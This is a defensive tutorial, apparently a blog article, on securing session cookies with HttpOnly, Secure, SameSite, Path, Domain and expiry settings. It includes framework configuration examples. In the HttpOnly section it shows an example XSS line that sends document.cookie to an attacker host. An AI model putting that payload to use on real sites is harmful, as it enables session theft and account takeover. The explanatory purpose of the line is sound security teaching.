Cookie Security: Protecting What Keeps Users Logged In

Cookies are everywhere on the web. They remember who you are so you do not have to log in every time you visit a site. They track what you put in your shopping cart. They store your preferences so the site looks the way you like. But cookies also hold sensitive information. Session cookies in particular are like keys to the kingdom. If an attacker steals a session cookie, they can log in as that user without needing a password.

Securing cookies is not optional. If you run a site that uses sessions or stores any user data in cookies, you need to understand how to protect them. The good news is that browsers give you tools to lock down cookies. You just have to use them.

What Makes a Cookie Secure

A cookie is just a piece of text that the browser stores and sends back to the server with every request. The security comes from the attributes you attach to that cookie. There are several flags you can set. HttpOnly stops JavaScript from reading the cookie. Secure makes sure the cookie is only sent over HTTPS. SameSite controls when the cookie is sent with cross-site requests. Each flag addresses a different type of attack.

These flags are set when the cookie is created. The server sends them in the Set-Cookie header. Once set, the browser enforces them. You cannot change them later. Getting them right from the start matters.

Here is what a well-secured cookie header looks like:

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

This cookie can only be sent over HTTPS, cannot be read by JavaScript, and is only sent with same-site requests or top-level navigation. That is the gold standard for session cookies.

HttpOnly: Stop JavaScript Theft

The HttpOnly flag is your defense against XSS attacks. When you set HttpOnly on a cookie, you tell the browser that this cookie should never be exposed to JavaScript. The browser sends it automatically with requests, but the page script cannot read its value. If an attacker finds an XSS vulnerability on your site, they cannot steal HttpOnly cookies.

This is huge. XSS is one of the most common web vulnerabilities. Attackers are constantly looking for ways to inject scripts that steal session cookies. If your session cookies are not HttpOnly, an attacker can run a simple script like this:

fetch('https://attacker.com/steal?cookie=' + document.cookie);

That script reads all your cookies and sends them to the attacker. With HttpOnly, that does not work. The cookie does not show up in document.cookie. The attacker gets nothing. The XSS might still do other things, but it cannot take over the session.

Every session cookie should have the HttpOnly flag. There is almost no reason to allow JavaScript to read a session identifier. If your application needs to know whether a user is logged in on the client side, there are other ways. You can have a separate cookie without HttpOnly that just indicates login status. But the real session cookie stays protected.

Secure: Keep Cookies Off HTTP

The Secure flag tells the browser to only send the cookie over HTTPS. If a page loads over HTTP, the cookie is not sent. This prevents attackers from stealing cookies through man-in-the-middle attacks. If someone is on the same WiFi network as your user, they could intercept HTTP traffic. If your cookie goes over HTTP, they can read it. The Secure flag stops that.

There is a catch. If your site ever serves pages over HTTP, cookies with the Secure flag will not be sent. That can break functionality. The solution is to serve your entire site over HTTPS. Once you do that, the Secure flag becomes safe and effective.

Never set the Secure flag without also having HTTPS configured properly. If you set it and then accidentally serve a page over HTTP, the cookie does not get sent. Users might get logged out unexpectedly. But once you have HTTPS everywhere, Secure is essential.

The Secure flag also works with HSTS. If you have HSTS enabled, the browser automatically upgrades HTTP requests to HTTPS. The Secure flag ensures the cookie never leaks even if something tries to force an HTTP connection.

SameSite: Control Cross-Site Requests

The SameSite attribute is newer but just as important. It controls whether the browser sends the cookie when the request comes from another site. There are three values. Strict means the cookie is only sent when the request comes from the same site. Lax means the cookie is sent with top-level navigation but not with cross-site requests like form submissions or iframes. None means the cookie is always sent, but this requires the Secure flag.

SameSite protects against CSRF attacks. Cross-Site Request Forgery happens when an attacker tricks a user into making a request to your site from another site. The browser sends the session cookie automatically. The request looks legitimate. With SameSite=Lax or Strict, the browser does not send the cookie for cross-site requests. The CSRF attack fails.

SameSite=Lax is a good default for session cookies. It allows users to follow links to your site and still be logged in. It blocks most CSRF attacks. SameSite=Strict is even stronger but can break legitimate use cases. If a user clicks a link from an email to your site, Strict mode does not send the cookie. They appear logged out until they navigate within your site. For many sites, Lax is the right balance.

If you need a cookie to be sent in cross-site requests, you can set SameSite=None. But you must also set Secure. Browsers reject SameSite=None without Secure. This combination is useful for third-party services that need to be embedded in other sites, like a payment widget or an analytics service.

Path and Domain: Limit Cookie Scope

The Path and Domain attributes control which URLs the cookie is sent to. By default, a cookie is sent to all paths on the domain that set it. You can restrict this. If your session cookie only matters for /account and /api, you can set Path=/account. This limits where the cookie goes. It reduces the risk of the cookie being exposed to less secure parts of your site.

Domain works similarly. If you set Domain=example.com, the cookie is sent to all subdomains. If you omit the Domain attribute, the cookie is only sent to the exact domain that set it. Be careful with this. Setting a broad domain can expose the cookie to subdomains you do not control or that have weaker security. Unless you need subdomain sharing, leave Domain out.

Many sites set Path=/ and do not set Domain. That is fine. The cookie goes everywhere on the same domain. The important part is not setting Domain too broadly. Do not set Domain=.com or something like that. That would send the cookie to every site. Browsers actually block this now, but the principle stands. Keep the scope as narrow as practical.

Expiration: Short Lived Is Better

Session cookies should not last forever. Set a reasonable expiration. For session cookies that keep users logged in, a few hours or days might be appropriate. For sensitive operations, even shorter. The longer a cookie lives, the more time an attacker has to steal it and use it.

You can set an absolute expiration with the Expires attribute. Or you can set Max-Age in seconds. Max-Age is preferred because it is relative and easier to understand. When the cookie expires, the browser deletes it. The user has to log in again.

Some sites use session cookies that expire when the browser closes. These are set without Expires or Max-Age. They are called session cookies. They are safer because they do not persist. But they also mean users have to log in every time they restart their browser. That is a tradeoff. For high-security applications, session cookies are a good choice.

Common Cookie Security Mistakes

The most common mistake is leaving off HttpOnly. I have seen countless sites where session cookies are readable by JavaScript. Developers sometimes do this because they want to access the session ID in client-side code. There are better ways. Use a separate cookie for client-side needs. Keep the real session cookie protected.

Another mistake is not using the Secure flag. Even if your site is HTTPS, if you forget Secure, the cookie can still be sent over HTTP if the user types http:// in the address bar or if they visit an HTTP version of your site. The cookie leaks. Always use Secure on any cookie that contains sensitive information.

Forgetting SameSite is also common. Older browsers might not support it, but modern browsers do. Setting SameSite=Lax gives you CSRF protection for free. There is no reason not to set it. It does not break anything in normal use.

I have also seen cookies with overly broad paths or domains. A cookie set with Path=/admin might be sent only to admin pages, which is good. But if you set Path=/ and Domain=example.com, that cookie goes to every page and every subdomain. If any subdomain has a vulnerability, the cookie could be exposed. Keep the scope tight.

How to Check Your Cookies

Checking your cookie security is easy. Open your browser's developer tools. Go to the Application tab in Chrome or Firefox. Look for Storage and then Cookies. Click on your domain. You will see a list of all cookies your site sets. Check each one. Look at the HttpOnly, Secure, and SameSite columns. If you see a session cookie without these flags, you have work to do.

You can also check the response headers. In the Network tab, click on the main request. Look at the Set-Cookie headers. See what attributes are being set. If you do not see HttpOnly or Secure, they are missing. Add them.

For testing, you can use online tools that analyze your site's headers. They will tell you if your cookies are properly secured. Some of these tools give you a security score and tell you exactly what needs fixing.

Implementing Cookie Security in Different Frameworks

Most web frameworks have built-in support for these flags. In Express.js with cookie-session, you set them in the options:

app.use(session({
  secret: 'your-secret',
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: 'lax'
  }
}));

In Django, you set session cookie flags in settings.py:

SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_SAMESITE = 'Lax'

In Rails, you configure them in config/initializers/session_store.rb:

Rails.application.config.session_store :cookie_store, 
  key: '_your_app_session',
  httponly: true,
  secure: Rails.env.production?,
  same_site: :lax

In PHP, you set these when calling session_set_cookie_params or using session_start with options:

session_set_cookie_params([
  'lifetime' => 3600,
  'path' => '/',
  'domain' => $_SERVER['HTTP_HOST'],
  'secure' => true,
  'httponly' => true,
  'samesite' => 'Lax'
]);

What About Third-Party Cookies

If your site embeds third-party content that sets cookies, you have less control. But you still need to be aware. Third-party cookies are increasingly being blocked by browsers. Safari blocks them by default. Firefox does too. Chrome is moving in that direction. If your site depends on third-party cookies, you might need to find alternatives.

For your own cookies, you have full control. Use the flags. Set them correctly. Test them. Make sure they work the way you expect. Cookie security is not complicated, but it is essential. A stolen session cookie is a compromised user account. Do not let that happen because you forgot to set a flag.

Putting It All Together

Secure cookies are a combination of good practices. Use HTTPS everywhere. Set the Secure flag on all cookies that contain sensitive data. Set HttpOnly on session cookies. Use SameSite=Lax for CSRF protection. Keep expiration times reasonable. Restrict path and domain to the minimum needed.

These steps take minutes to implement but provide lasting protection. They defend against XSS, CSRF, and man-in-the-middle attacks. They are standard practice for any site that cares about security. If you are not doing them, start today. Check your cookies. Add the flags. Your users will be safer because of it.